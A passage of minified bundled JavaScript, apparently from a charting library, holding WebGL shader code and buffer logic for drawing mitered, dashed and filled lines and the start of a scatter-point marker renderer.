enabled");this.gl=c._gl,this.regl=c,this.passes=[],this.shaders=y.shaders.has(c)?y.shaders.get(c):y.shaders.set(c,y.createShaders(c)).get(c),this.update(b)}y.dashMult=2,y.maxPatternLength=256,y.precisionThreshold=3e6,y.maxPoints=1e4,y.maxLines=2048,y.shaders=new l,y.createShaders=function(c){var b=c.buffer({usage:"static",type:"float",data:[0,1,0,0,1,1,1,0]}),h={primitive:"triangle strip",instances:c.prop("count"),count:4,offset:0,uniforms:{miterMode:function(w,E){return E.join==="round"?2:1},miterLimit:c.prop("miterLimit"),scale:c.prop("scale"),scaleFract:c.prop("scaleFract"),translateFract:c.prop("translateFract"),translate:c.prop("translate"),thickness:c.prop("thickness"),dashTexture:c.prop("dashTexture"),opacity:c.prop("opacity"),pixelRatio:c.context("pixelRatio"),id:c.prop("id"),dashLength:c.prop("dashLength"),viewport:function(w,E){return[E.viewport.x,E.viewport.y,w.viewportWidth,w.viewportHeight]},depth:c.prop("depth")},blend:{enable:!0,color:[0,0,0,0],equation:{rgb:"add",alpha:"add"},func:{srcRGB:"src alpha",dstRGB:"one minus src alpha",srcAlpha:"one minus dst alpha",dstAlpha:"one"}},depth:{enable:function(w,E){return!E.overlay}},stencil:{enable:!1},scissor:{enable:!0,box:c.prop("viewport")},viewport:c.prop("viewport")},i=c(o({vert:L([`precision highp float;
#define GLSLIFY 1

attribute vec2 aCoord, bCoord, aCoordFract, bCoordFract;
attribute vec4 color;
attribute float lineEnd, lineTop;

uniform vec2 scale, scaleFract, translate, translateFract;
uniform float thickness, pixelRatio, id, depth;
uniform vec4 viewport;

varying vec4 fragColor;
varying vec2 tangent;

vec2 project(vec2 position, vec2 positionFract, vec2 scale, vec2 scaleFract, vec2 translate, vec2 translateFract) {
	// the order is important
	return position * scale + translate
       + positionFract * scale + translateFract
       + position * scaleFract
       + positionFract * scaleFract;
}

void main() {
	float lineStart = 1. - lineEnd;
	float lineOffset = lineTop * 2. - 1.;

	vec2 diff = (bCoord + bCoordFract - aCoord - aCoordFract);
	tangent = normalize(diff * scale * viewport.zw);
	vec2 normal = vec2(-tangent.y, tangent.x);

	vec2 position = project(aCoord, aCoordFract, scale, scaleFract, translate, translateFract) * lineStart
		+ project(bCoord, bCoordFract, scale, scaleFract, translate, translateFract) * lineEnd

		+ thickness * normal * .5 * lineOffset / viewport.zw;

	gl_Position = vec4(position * 2.0 - 1.0, depth, 1);

	fragColor = color / 255.;
}
`]),frag:L([`precision highp float;
#define GLSLIFY 1

uniform float dashLength, pixelRatio, thickness, opacity, id;
uniform sampler2D dashTexture;

varying vec4 fragColor;
varying vec2 tangent;

void main() {
	float alpha = 1.;

	float t = fract(dot(tangent, gl_FragCoord.xy) / dashLength) * .5 + .25;
	float dash = texture2D(dashTexture, vec2(t, .5)).r;

	gl_FragColor = fragColor;
	gl_FragColor.a *= alpha * opacity * dash;
}
`]),attributes:{lineEnd:{buffer:b,divisor:0,stride:8,offset:0},lineTop:{buffer:b,divisor:0,stride:8,offset:4},aCoord:{buffer:c.prop("positionBuffer"),stride:8,offset:8,divisor:1},bCoord:{buffer:c.prop("positionBuffer"),stride:8,offset:16,divisor:1},aCoordFract:{buffer:c.prop("positionFractBuffer"),stride:8,offset:8,divisor:1},bCoordFract:{buffer:c.prop("positionFractBuffer"),stride:8,offset:16,divisor:1},color:{buffer:c.prop("colorBuffer"),stride:4,offset:0,divisor:1}}},h)),v;try{v=c(o({cull:{enable:!0,face:"back"},vert:L([`precision highp float;
#define GLSLIFY 1

attribute vec2 aCoord, bCoord, nextCoord, prevCoord;
attribute vec4 aColor, bColor;
attribute float lineEnd, lineTop;

uniform vec2 scale, translate;
uniform float thickness, pixelRatio, id, depth;
uniform vec4 viewport;
uniform float miterLimit, miterMode;

varying vec4 fragColor;
varying vec4 startCutoff, endCutoff;
varying vec2 tangent;
varying vec2 startCoord, endCoord;
varying float enableStartMiter, enableEndMiter;

const float REVERSE_THRESHOLD = -.875;
const float MIN_DIFF = 1e-6;

// TODO: possible optimizations: avoid overcalculating all for vertices and calc just one instead
// TODO: precalculate dot products, normalize things beforehead etc.
// TODO: refactor to rectangular algorithm

float distToLine(vec2 p, vec2 a, vec2 b) {
	vec2 diff = b - a;
	vec2 perp = normalize(vec2(-diff.y, diff.x));
	return dot(p - a, perp);
}

bool isNaN( float val ){
  return ( val < 0.0 || 0.0 < val || val == 0.0 ) ? false : true;
}

void main() {
	vec2 aCoord = aCoord, bCoord = bCoord, prevCoord = prevCoord, nextCoord = nextCoord;

  vec2 adjustedScale;
  adjustedScale.x = (abs(scale.x) < MIN_DIFF) ? MIN_DIFF : scale.x;
  adjustedScale.y = (abs(scale.y) < MIN_DIFF) ? MIN_DIFF : scale.y;

  vec2 scaleRatio = adjustedScale * viewport.zw;
	vec2 normalWidth = thickness / scaleRatio;

	float lineStart = 1. - lineEnd;
	float lineBot = 1. - lineTop;

	fragColor = (lineStart * aColor + lineEnd * bColor) / 255.;

	if (isNaN(aCoord.x) || isNaN(aCoord.y) || isNaN(bCoord.x) || isNaN(bCoord.y)) return;

	if (aCoord == prevCoord) prevCoord = aCoord + normalize(bCoord - aCoord);
	if (bCoord == nextCoord) nextCoord = bCoord - normalize(bCoord - aCoord);

	vec2 prevDiff = aCoord - prevCoord;
	vec2 currDiff = bCoord - aCoord;
	vec2 nextDiff = nextCoord - bCoord;

	vec2 prevTangent = normalize(prevDiff * scaleRatio);
	vec2 currTangent = normalize(currDiff * scaleRatio);
	vec2 nextTangent = normalize(nextDiff * scaleRatio);

	vec2 prevNormal = vec2(-prevTangent.y, prevTangent.x);
	vec2 currNormal = vec2(-currTangent.y, currTangent.x);
	vec2 nextNormal = vec2(-nextTangent.y, nextTangent.x);

	vec2 startJoinDirection = normalize(prevTangent - currTangent);
	vec2 endJoinDirection = normalize(currTangent - nextTangent);

	// collapsed/unidirectional segment cases
	// FIXME: there should be more elegant solution
	vec2 prevTanDiff = abs(prevTangent - currTangent);
	vec2 nextTanDiff = abs(nextTangent - currTangent);
	if (max(prevTanDiff.x, prevTanDiff.y) < MIN_DIFF) {
		startJoinDirection = currNormal;
	}
	if (max(nextTanDiff.x, nextTanDiff.y) < MIN_DIFF) {
		endJoinDirection = currNormal;
	}
	if (aCoord == bCoord) {
		endJoinDirection = startJoinDirection;
		currNormal = prevNormal;
		currTangent = prevTangent;
	}

	tangent = currTangent;

	//calculate join shifts relative to normals
	float startJoinShift = dot(currNormal, startJoinDirection);
	float endJoinShift = dot(currNormal, endJoinDirection);

	float startMiterRatio = abs(1. / startJoinShift);
	float endMiterRatio = abs(1. / endJoinShift);

	vec2 startJoin = startJoinDirection * startMiterRatio;
	vec2 endJoin = endJoinDirection * endMiterRatio;

	vec2 startTopJoin, startBotJoin, endTopJoin, endBotJoin;
	startTopJoin = sign(startJoinShift) * startJoin * .5;
	startBotJoin = -startTopJoin;

	endTopJoin = sign(endJoinShift) * endJoin * .5;
	endBotJoin = -endTopJoin;

	vec2 aTopCoord = aCoord + normalWidth * startTopJoin;
	vec2 bTopCoord = bCoord + normalWidth * endTopJoin;
	vec2 aBotCoord = aCoord + normalWidth * startBotJoin;
	vec2 bBotCoord = bCoord + normalWidth * endBotJoin;

	//miter anti-clipping
	float baClipping = distToLine(bCoord, aCoord, aBotCoord) / dot(normalize(normalWidth * endBotJoin), normalize(normalWidth.yx * vec2(-startBotJoin.y, startBotJoin.x)));
	float abClipping = distToLine(aCoord, bCoord, bTopCoord) / dot(normalize(normalWidth * startBotJoin), normalize(normalWidth.yx * vec2(-endBotJoin.y, endBotJoin.x)));

	//prevent close to reverse direction switch
	bool prevReverse = dot(currTangent, prevTangent) <= REVERSE_THRESHOLD && abs(dot(currTangent, prevNormal)) * min(length(prevDiff), length(currDiff)) <  length(normalWidth * currNormal);
	bool nextReverse = dot(currTangent, nextTangent) <= REVERSE_THRESHOLD && abs(dot(currTangent, nextNormal)) * min(length(nextDiff), length(currDiff)) <  length(normalWidth * currNormal);

	if (prevReverse) {
		//make join rectangular
		vec2 miterShift = normalWidth * startJoinDirection * miterLimit * .5;
		float normalAdjust = 1. - min(miterLimit / startMiterRatio, 1.);
		aBotCoord = aCoord + miterShift - normalAdjust * normalWidth * currNormal * .5;
		aTopCoord = aCoord + miterShift + normalAdjust * normalWidth * currNormal * .5;
	}
	else if (!nextReverse && baClipping > 0. && baClipping < length(normalWidth * endBotJoin)) {
		//handle miter clipping
		bTopCoord -= normalWidth * endTopJoin;
		bTopCoord += normalize(endTopJoin * normalWidth) * baClipping;
	}

	if (nextReverse) {
		//make join rectangular
		vec2 miterShift = normalWidth * endJoinDirection * miterLimit * .5;
		float normalAdjust = 1. - min(miterLimit / endMiterRatio, 1.);
		bBotCoord = bCoord + miterShift - normalAdjust * normalWidth * currNormal * .5;
		bTopCoord = bCoord + miterShift + normalAdjust * normalWidth * currNormal * .5;
	}
	else if (!prevReverse && abClipping > 0. && abClipping < length(normalWidth * startBotJoin)) {
		//handle miter clipping
		aBotCoord -= normalWidth * startBotJoin;
		aBotCoord += normalize(startBotJoin * normalWidth) * abClipping;
	}

	vec2 aTopPosition = (aTopCoord) * adjustedScale + translate;
	vec2 aBotPosition = (aBotCoord) * adjustedScale + translate;

	vec2 bTopPosition = (bTopCoord) * adjustedScale + translate;
	vec2 bBotPosition = (bBotCoord) * adjustedScale + translate;

	//position is normalized 0..1 coord on the screen
	vec2 position = (aTopPosition * lineTop + aBotPosition * lineBot) * lineStart + (bTopPosition * lineTop + bBotPosition * lineBot) * lineEnd;

	startCoord = aCoord * scaleRatio + translate * viewport.zw + viewport.xy;
	endCoord = bCoord * scaleRatio + translate * viewport.zw + viewport.xy;

	gl_Position = vec4(position  * 2.0 - 1.0, depth, 1);

	enableStartMiter = step(dot(currTangent, prevTangent), .5);
	enableEndMiter = step(dot(currTangent, nextTangent), .5);

	//bevel miter cutoffs
	if (miterMode == 1.) {
		if (enableStartMiter == 1.) {
			vec2 startMiterWidth = vec2(startJoinDirection) * thickness * miterLimit * .5;
			startCutoff = vec4(aCoord, aCoord);
			startCutoff.zw += vec2(-startJoinDirection.y, startJoinDirection.x) / scaleRatio;
			startCutoff = startCutoff * scaleRatio.xyxy + translate.xyxy * viewport.zwzw;
			startCutoff += viewport.xyxy;
			startCutoff += startMiterWidth.xyxy;
		}

		if (enableEndMiter == 1.) {
			vec2 endMiterWidth = vec2(endJoinDirection) * thickness * miterLimit * .5;
			endCutoff = vec4(bCoord, bCoord);
			endCutoff.zw += vec2(-endJoinDirection.y, endJoinDirection.x)  / scaleRatio;
			endCutoff = endCutoff * scaleRatio.xyxy + translate.xyxy * viewport.zwzw;
			endCutoff += viewport.xyxy;
			endCutoff += endMiterWidth.xyxy;
		}
	}

	//round miter cutoffs
	else if (miterMode == 2.) {
		if (enableStartMiter == 1.) {
			vec2 startMiterWidth = vec2(startJoinDirection) * thickness * abs(dot(startJoinDirection, currNormal)) * .5;
			startCutoff = vec4(aCoord, aCoord);
			startCutoff.zw += vec2(-startJoinDirection.y, startJoinDirection.x) / scaleRatio;
			startCutoff = startCutoff * scaleRatio.xyxy + translate.xyxy * viewport.zwzw;
			startCutoff += viewport.xyxy;
			startCutoff += startMiterWidth.xyxy;
		}

		if (enableEndMiter == 1.) {
			vec2 endMiterWidth = vec2(endJoinDirection) * thickness * abs(dot(endJoinDirection, currNormal)) * .5;
			endCutoff = vec4(bCoord, bCoord);
			endCutoff.zw += vec2(-endJoinDirection.y, endJoinDirection.x)  / scaleRatio;
			endCutoff = endCutoff * scaleRatio.xyxy + translate.xyxy * viewport.zwzw;
			endCutoff += viewport.xyxy;
			endCutoff += endMiterWidth.xyxy;
		}
	}
}
`]),frag:L([`precision highp float;
#define GLSLIFY 1

uniform float dashLength, pixelRatio, thickness, opacity, id, miterMode;
uniform sampler2D dashTexture;

varying vec4 fragColor;
varying vec2 tangent;
varying vec4 startCutoff, endCutoff;
varying vec2 startCoord, endCoord;
varying float enableStartMiter, enableEndMiter;

float distToLine(vec2 p, vec2 a, vec2 b) {
	vec2 diff = b - a;
	vec2 perp = normalize(vec2(-diff.y, diff.x));
	return dot(p - a, perp);
}

void main() {
	float alpha = 1., distToStart, distToEnd;
	float cutoff = thickness * .5;

	//bevel miter
	if (miterMode == 1.) {
		if (enableStartMiter == 1.) {
			distToStart = distToLine(gl_FragCoord.xy, startCutoff.xy, startCutoff.zw);
			if (distToStart < -1.) {
				discard;
				return;
			}
			alpha *= min(max(distToStart + 1., 0.), 1.);
		}

		if (enableEndMiter == 1.) {
			distToEnd = distToLine(gl_FragCoord.xy, endCutoff.xy, endCutoff.zw);
			if (distToEnd < -1.) {
				discard;
				return;
			}
			alpha *= min(max(distToEnd + 1., 0.), 1.);
		}
	}

	// round miter
	else if (miterMode == 2.) {
		if (enableStartMiter == 1.) {
			distToStart = distToLine(gl_FragCoord.xy, startCutoff.xy, startCutoff.zw);
			if (distToStart < 0.) {
				float radius = length(gl_FragCoord.xy - startCoord);

				if(radius > cutoff + .5) {
					discard;
					return;
				}

				alpha -= smoothstep(cutoff - .5, cutoff + .5, radius);
			}
		}

		if (enableEndMiter == 1.) {
			distToEnd = distToLine(gl_FragCoord.xy, endCutoff.xy, endCutoff.zw);
			if (distToEnd < 0.) {
				float radius = length(gl_FragCoord.xy - endCoord);

				if(radius > cutoff + .5) {
					discard;
					return;
				}

				alpha -= smoothstep(cutoff - .5, cutoff + .5, radius);
			}
		}
	}

	float t = fract(dot(tangent, gl_FragCoord.xy) / dashLength) * .5 + .25;
	float dash = texture2D(dashTexture, vec2(t, .5)).r;

	gl_FragColor = fragColor;
	gl_FragColor.a *= alpha * opacity * dash;
}
`]),attributes:{lineEnd:{buffer:b,divisor:0,stride:8,offset:0},lineTop:{buffer:b,divisor:0,stride:8,offset:4},aColor:{buffer:c.prop("colorBuffer"),stride:4,offset:0,divisor:1},bColor:{buffer:c.prop("colorBuffer"),stride:4,offset:4,divisor:1},prevCoord:{buffer:c.prop("positionBuffer"),stride:8,offset:0,divisor:1},aCoord:{buffer:c.prop("positionBuffer"),stride:8,offset:8,divisor:1},bCoord:{buffer:c.prop("positionBuffer"),stride:8,offset:16,divisor:1},nextCoord:{buffer:c.prop("positionBuffer"),stride:8,offset:24,divisor:1}}},h))}catch{v=i}var T=c({primitive:"triangle",elements:function(w,E){return E.triangles},offset:0,vert:L([`precision highp float;
#define GLSLIFY 1

attribute vec2 position, positionFract;

uniform vec4 color;
uniform vec2 scale, scaleFract, translate, translateFract;
uniform float pixelRatio, id;
uniform vec4 viewport;
uniform float opacity;

varying vec4 fragColor;

const float MAX_LINES = 256.;

void main() {
	float depth = (MAX_LINES - 4. - id) / (MAX_LINES);

	vec2 position = position * scale + translate
       + positionFract * scale + translateFract
       + position * scaleFract
       + positionFract * scaleFract;

	gl_Position = vec4(position * 2.0 - 1.0, depth, 1);

	fragColor = color / 255.;
	fragColor.a *= opacity;
}
`]),frag:L([`precision highp float;
#define GLSLIFY 1

varying vec4 fragColor;

void main() {
	gl_FragColor = fragColor;
}
`]),uniforms:{scale:c.prop("scale"),color:c.prop("fill"),scaleFract:c.prop("scaleFract"),translateFract:c.prop("translateFract"),translate:c.prop("translate"),opacity:c.prop("opacity"),pixelRatio:c.context("pixelRatio"),id:c.prop("id"),viewport:function(w,E){return[E.viewport.x,E.viewport.y,w.viewportWidth,w.viewportHeight]}},attributes:{position:{buffer:c.prop("positionBuffer"),stride:8,offset:8},positionFract:{buffer:c.prop("positionFractBuffer"),stride:8,offset:8}},blend:h.blend,depth:{enable:!1},scissor:h.scissor,stencil:h.stencil,viewport:h.viewport});return{fill:T,rect:i,miter:v}},y.defaults={dashes:null,join:"miter",miterLimit:1,thickness:10,cap:"square",color:"black",opacity:1,overlay:!1,viewport:null,range:null,close:!1,fill:null},y.prototype.render=function(){for(var c,b=[],h=arguments.length;h--;)b[h]=arguments[h];b.length&&(c=this).update.apply(c,b),this.draw()},y.prototype.draw=function(){for(var c=this,b=[],h=arguments.length;h--;)b[h]=arguments[h];return(b.length?b:this.passes).forEach(function(i,v){var T;if(i&&Array.isArray(i))return(T=c).draw.apply(T,i);typeof i=="number"&&(i=c.passes[i]),i&&i.count>1&&i.opacity&&(c.regl._refresh(),i.fill&&i.triangles&&i.triangles.length>2&&c.shaders.fill(i),i.thickness&&(i.scale[0]*i.viewport.width>y.precisionThreshold||i.scale[1]*i.viewport.height>y.precisionThreshold||i.join==="rect"||!i.join&&(i.thickness<=2||i.count>=y.maxPoints)?c.shaders.rect(i):c.shaders.miter(i)))}),this},y.prototype.update=function(c){var b=this;if(c){c.length!=null?typeof c[0]=="number"&&(c=[{positions:c}]):Array.isArray(c)||(c=[c]);var h=this,i=h.regl,v=h.gl;if(c.forEach(function(A,m){var n=b.passes[m];if(A!==void 0){if(A===null){b.passes[m]=null;return}if(typeof A[0]=="number"&&(A={positions:A}),A=S(A,{positions:"positions points data coords",thickness:"thickness lineWidth lineWidths line-width linewidth width stroke-width strokewidth strokeWidth",join:"lineJoin linejoin join type mode",miterLimit:"miterlimit miterLimit",dashes:"dash dashes dasharray dash-array dashArray",color:"color colour stroke colors colours stroke-color strokeColor",fill:"fill fill-color fillColor",opacity:"alpha opacity",overlay:"overlay crease overlap intersect",close:"closed close closed-path closePath",range:"range dataBox",viewport:"viewport viewBox",hole:"holes hole hollow",splitNull:"splitNull"}),n||(b.passes[m]=n={id:m,scale:null,scaleFract:null,translate:null,translateFract:null,count:0,hole:[],depth:0,dashLength:1,dashTexture:i.texture({channels:1,data:new Uint8Array([255]),width:1,height:1,mag:"linear",min:"linear"}),colorBuffer:i.buffer({usage:"dynamic",type:"uint8",data:new Uint8Array}),positionBuffer:i.buffer({usage:"dynamic",type:"float",data:new Uint8Array}),positionFractBuffer:i.buffer({usage:"dynamic",type:"float",data:new Uint8Array})},A=o({},y.defaults,A)),A.thickness!=null&&(n.thickness=parseFloat(A.thickness)),A.opacity!=null&&(n.opacity=parseFloat(A.opacity)),A.miterLimit!=null&&(n.miterLimit=parseFloat(A.miterLimit)),A.overlay!=null&&(n.overlay=!!A.overlay,m<y.maxLines&&(n.depth=2*(y.maxLines-1-m%y.maxLines)/y.maxLines-1)),A.join!=null&&(n.join=A.join),A.hole!=null&&(n.hole=A.hole),A.fill!=null&&(n.fill=A.fill?M(A.fill,"uint8"):null),A.viewport!=null&&(n.viewport=u(A.viewport)),n.viewport||(n.viewport=u([v.drawingBufferWidth,v.drawingBufferHeight])),A.close!=null&&(n.close=A.close),A.positions===null&&(A.positions=[]),A.positions){var C,x;if(A.positions.x&&A.positions.y){var I=A.positions.x,k=A.positions.y;x=n.count=Math.max(I.length,k.length),C=new Float64Array(x*2);for(var B=0;B<x;B++)C[B*2]=I[B],C[B*2+1]=k[B]}else C=d(A.positions,"float64"),x=n.count=Math.floor(C.length/2);var _=n.bounds=P(C,2);if(n.fill){for(var F=[],O={},z=0,N=0,G=0,J=n.count;N<J;N++){var q=C[N*2],ne=C[N*2+1];isNaN(q)||isNaN(ne)||q==null||ne==null?(q=C[z*2],ne=C[z*2+1],O[N]=z):z=N,F[G++]=q,F[G++]=ne}if(A.splitNull){n.count-1 in O||(O[n.count]=n.count-1);var fe=Object.keys(O).map(Number).sort(function(De,Ee){return De-Ee}),X=[],W=0,V=n.hole!=null?n.hole[0]:null;if(V!=null){var Y=s(fe,function(De){return De>=V});fe=fe.slice(0,Y),fe.push(V)}for(var Q=function(De){var Ee=F.slice(W*2,fe[De]*2).concat(V?F.slice(V*2):[]),ye=(n.hole||[]).map(function(de){return de-V+(fe[De]-W)}),ae=g(Ee,ye);ae=ae.map(function(de){return de+W+(de+W<fe[De]?0:V-fe[De])}),X.push.apply(X,ae),W=fe[De]+1},ie=0;ie<fe.length;ie++)Q(ie);for(var j=0,K=X.length;j<K;j++)O[X[j]]!=null&&(X[j]=O[X[j]]);n.triangles=X}else{for(var oe=g(F,n.hole||[]),re=0,le=oe.length;re<le;re++)O[oe[re]]!=null&&(oe[re]=O[oe[re]]);n.triangles=oe}}var pe=new Float64Array(C);t(pe,2,_);var we=new Float64Array(x*2+6);n.close?C[0]===C[x*2-2]&&C[1]===C[x*2-1]?(we[0]=pe[x*2-4],we[1]=pe[x*2-3]):(we[0]=pe[x*2-2],we[1]=pe[x*2-1]):(we[0]=pe[0],we[1]=pe[1]),we.set(pe,2),n.close?C[0]===C[x*2-2]&&C[1]===C[x*2-1]?(we[x*2+2]=pe[2],we[x*2+3]=pe[3],n.count-=1):(we[x*2+2]=pe[0],we[x*2+3]=pe[1],we[x*2+4]=pe[2],we[x*2+5]=pe[3]):(we[x*2+2]=pe[x*2-2],we[x*2+3]=pe[x*2-1],we[x*2+4]=pe[x*2-2],we[x*2+5]=pe[x*2-1]);var xe=f(we);n.positionBuffer(xe);var ke=a(we,xe);n.positionFractBuffer(ke)}if(A.range?n.range=A.range:n.range||(n.range=n.bounds),(A.range||A.positions)&&n.count){var _e=n.bounds,be=_e[2]-_e[0],ge=_e[3]-_e[1],Te=n.range[2]-n.range[0],Fe=n.range[3]-n.range[1];n.scale=[be/Te,ge/Fe],n.translate=[-n.range[0]/Te+_e[0]/Te||0,-n.range[1]/Fe+_e[1]/Fe||0],n.scaleFract=a(n.scale),n.translateFract=a(n.translate)}if(A.dashes){var Oe=0,Ce;if(!A.dashes||A.dashes.length<2)Oe=1,Ce=new Uint8Array([255,255,255,255,255,255,255,255]);else{Oe=0;for(var Be=0;Be<A.dashes.length;++Be)Oe+=A.dashes[Be];Ce=new Uint8Array(Oe*y.dashMult);for(var $e=0,Xe=255,Ze=0;Ze<2;Ze++)for(var Ke=0;Ke<A.dashes.length;++Ke){for(var st=0,lt=A.dashes[Ke]*y.dashMult*.5;st<lt;++st)Ce[$e++]=Xe;Xe^=255}}n.dashLength=Oe,n.dashTexture({channels:1,data:Ce,width:Ce.length,height:1,mag:"linear",min:"linear"},0,0)}if(A.color){var ut=n.count,yt=A.color;yt||(yt="transparent");var bt=new Uint8Array(ut*4+4);if(!Array.isArray(yt)||typeof yt[0]=="number")for(var Ot=M(yt,"uint8"),Ge=0;Ge<ut+1;Ge++)bt.set(Ot,Ge*4);else{for(var Le=0;Le<ut;Le++){var Pe=M(yt[Le],"uint8");bt.set(Pe,Le*4)}bt.set(M(yt[0],"uint8"),ut*4)}n.colorBuffer({usage:"dynamic",type:"uint8",data:bt})}}}),c.length<this.passes.length){for(var T=c.length;T<this.passes.length;T++){var w=this.passes[T];w&&(w.colorBuffer.destroy(),w.positionBuffer.destroy(),w.dashTexture.destroy())}this.passes.length=c.length}for(var E=[],p=0;p<this.passes.length;p++)this.passes[p]!==null&&E.push(this.passes[p]);return this.passes=E,this}},y.prototype.destroy=function(){return this.passes.forEach(function(c){c.colorBuffer.destroy(),c.positionBuffer.destroy(),c.dashTexture.destroy()}),this.passes.length=0,this}},11870:function(te,Z,e){function M(n,C){var x=n==null?null:typeof Symbol<"u"&&n[Symbol.iterator]||n["@@iterator"];if(x!=null){var I,k,B,_,F=[],O=!0,z=!1;try{if(B=(x=x.call(n)).next,C!==0)for(;!(O=(I=B.call(x)).done)&&(F.push(I.value),F.length!==C);O=!0);}catch(N){z=!0,k=N}finally{try{if(!O&&x.return!=null&&(_=x.return(),Object(_)!==_))return}finally{if(z)throw k}}return F}}function P(n,C){return S(n)||M(n,C)||g(n,C)||f()}function o(n){return L(n)||d(n)||g(n)||r()}function L(n){if(Array.isArray(n))return t(n)}function S(n){if(Array.isArray(n))return n}function d(n){if(typeof Symbol<"u"&&n[Symbol.iterator]!=null||n["@@iterator"]!=null)return Array.from(n)}function g(n,C){if(n){if(typeof n=="string")return t(n,C);var x=Object.prototype.toString.call(n).slice(8,-1);if(x==="Object"&&n.constructor&&(x=n.constructor.name),x==="Map"||x==="Set")return Array.from(n);if(x==="Arguments"||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(x))return t(n,C)}}function t(n,C){(C==null||C>n.length)&&(C=n.length);for(var x=0,I=new Array(C);x<C;x++)I[x]=n[x];return I}function r(){throw new TypeError(`Invalid attempt to spread non-iterable instance.
In order to be iterable, non-array objects must have a [Symbol.iterator]() method.`)}function f(){throw new TypeError(`Invalid attempt to destructure non-iterable instance.
In order to be iterable, non-array objects must have a [Symbol.iterator]() method.`)}var a=e(25075),l=e(21527),u=e(6475),s=e(88294),y=e(56131),c=e(56068),b=e(71299),h=e(93447),i=e(30120),v=e(62683),T=e(57060),w=e(18863),E=p;function p(n,C){var x=this;if(!(this instanceof p))return new p(n,C);typeof n=="function"?(C||(C={}),C.regl=n):(C=n,n=null),C&&C.length&&(C.positions=C),n=C.regl;var I=n._gl,k,B=[],_={},F=[],O=[null],z=[null],N=255,G=100;this.tooManyColors=v,k=n.texture({data:new Uint8Array(N*4),width:N,height:1,type:"uint8",format:"rgba",wrapS:"clamp",wrapT:"clamp",mag:"nearest",min:"nearest"}),y(this,{regl:n,gl:I,groups:F,markerCache:z,markerTextures:O,palette:B,paletteIds:_,paletteTexture:k,maxColors:N,maxSize:G,canvas:I.canvas}),this.update(C);var J={uniforms:{constPointSize:!!C.constPointSize,opacity:n.prop("opacity"),paletteSize:function(X,W){return[x.tooManyColors?0:N,k.height]},pixelRatio:n.context("pixelRatio"),scale:n.prop("scale"),scaleFract:n.prop("scaleFract"),translate:n.prop("translate"),translateFract:n.prop("translateFract"),markerTexture:n.prop("markerTexture"),paletteTexture:k},attributes:{x:function(X,W){return W.xAttr||{buffer:W.positionBuffer,stride:8,offset:0}},y:function(X,W){return W.yAttr||{buffer:W.positionBuffer,stride:8,offset:4}},xFract:function(X,W){return W.xAttr?{constant:[0,0]}:{buffer:W.positionFractBuffer,stride:8,offset:0}},yFract:function(X,W){return W.yAttr?{constant:[0,0]}:{buffer:W.positionFractBuffer,stride:8,offset:4}},size:function(X,W){return W.size.length?{buffer:W.sizeBuffer,stride:2,offset:0}:{constant:[Math.round(W.size*255/x.maxSize)]}},borderSize:function(X,W){return W.borderSize.length?{buffer:W.sizeBuffer,stride:2,offset:1}:{constant:[Math.round(W.borderSize*255/x.maxSize)]}},colorId:function(X,W){return W.color.length?{buffer:W.colorBuffer,stride:x.tooManyColors?8:4,offset:0}:{constant:x.tooManyColors?B.slice(W.color*4,W.color*4+4):[W.color]}},borderColorId:function(X,W){return W.borderColor.length?{buffer:W.colorBuffer,stride:x.tooManyColors?8:4,offset:x.tooManyColors?4:2}:{constant:x.tooManyColors?B.slice(W.borderColor*4,W.borderColor*4+4):[W.borderColor]}},isActive:function(X,W){return W.activation===!0?{constant:[1]}:W.activation?W.activation:{constant:[0]}}},blend:{enable:!0,color:[0,0,0,1],func:{srcRGB:"src alpha",dstRGB:"one minus src alpha",srcAlpha:"one minus dst alpha",dstAlpha:"one"}},scissor:{enable:!0,box:n.prop("viewport")},viewport:n.prop("viewport"),stencil:{enable:!1},depth:{enable:!1},elements:n.prop("elements"),count:n.prop("count"),offset:n.prop("offset"),primitive:"points"},q=y({},J);q.frag=c([`precision highp float;
#define GLSLIFY 1

uniform float opacity;
uniform sampler2D markerTexture;

varying vec4 fragColor, fragBorderColor;
varying float fragWidth, fragBorderColorLevel, fragColorLevel;

float smoothStep(float x, float y) {
  return 1.0 / (1.0 + exp(50.0*(x - y)));
}

void main() {
  float dist = texture2D(markerTexture, gl_PointCoord).r, delta = fragWidth;

  // max-distance alpha
  if (dist < 0.003) discard;

  // null-border case
  if (fragBorderColorLevel == fragColorLevel || fragBorderColor.a == 0.) {
    float colorAmt = smoothstep(.5 - delta, .5 + delta, dist);
    gl_FragColor = vec4(fragColor.rgb, colorAmt * fragColor.a * opacity);
  }
  else {
    float borderColorAmt = smoothstep(fragBorderColorLevel - delta, fragBorderColorLevel + delta, dist);
    float colorAmt = smoothstep(fragColorLevel - delta, fragColorLevel + delta, dist);

    vec4 color = fragBorderColor;
    color.a *= borderColorAmt;
    color = mix(color, fragColor, colorAmt);
    color.a *= opacity;

    gl_FragColor = color;
  }

}
`]),q.vert=c([`precision highp float;
#define GLSLIFY 1

attribute float x, y, xFract, yFract;
attribute float size, borderSize;
attribute vec4 colorId, borderColorId;
attribute float isActive;

uniform bool constPointSize;
uniform float pixelRatio;
uniform vec2 scale, scaleFract, translate, translateFract, paletteSize;
uniform sampler2D paletteTexture;

const float maxSize = 100.;
const float borderLevel = .5;

varying vec4 fragColor, fragBorderColor;
varying float fragPointSize, fragBorderRadius, fragWidth, fragBorderColorLevel, fragColorLevel;

float pointSizeScale = (constPointSize) ? 2. : pixelRatio;

bool isDirect = (paletteSize.x < 1.);

vec4 getColor(vec4 id) {
  return isDirect ? id / 255. : texture2D(paletteTexture,
    vec2(
      (id.x + .5) / paletteSize.x,
      (id.y + .5) / paletteSize.y
    )
  );
}

void main() {
  // ignore inactive points
  if (isActive == 0.) return;

  vec2 position = vec2(x, y);
  vec2 positionFract = vec2(xFract, yFract);

  vec4 color = getColor(colorId);
  vec4 borderColor = getColor(borderColorId);

  float size = size * maxSize / 255.;
  float borderSize = borderSize * maxSize / 255.;

  gl_PointSize = 2. * size * pointSizeScale;
  fragPointSize = size * pixelRatio;

  vec2 pos = (position + translate) * scale
      + (positionFract + translateFract) * scale
      + (position + translate) * scaleFract
      + (positionFract + translateFract) * scaleFract;

  gl_Position = vec4(pos * 2. - 1., 0., 1.);

  fragColor = color;
  fragBorderColor = borderColor;
  fragWidth = 1. / gl_PointSize;

  fragBorderColorLevel = clamp(borderLevel - borderLevel * borderSize / size, 0., 1.);
  fragColorLevel = clamp(borderLevel + (1. - borderLevel) * borderSize / size, 0., 1.);
}`]),this.drawMarker=n(q);var ne=y({},J);ne.frag=c([`precision highp float;
#define GLSLIFY 1

varying vec4 fragColor, fragBorderColor;
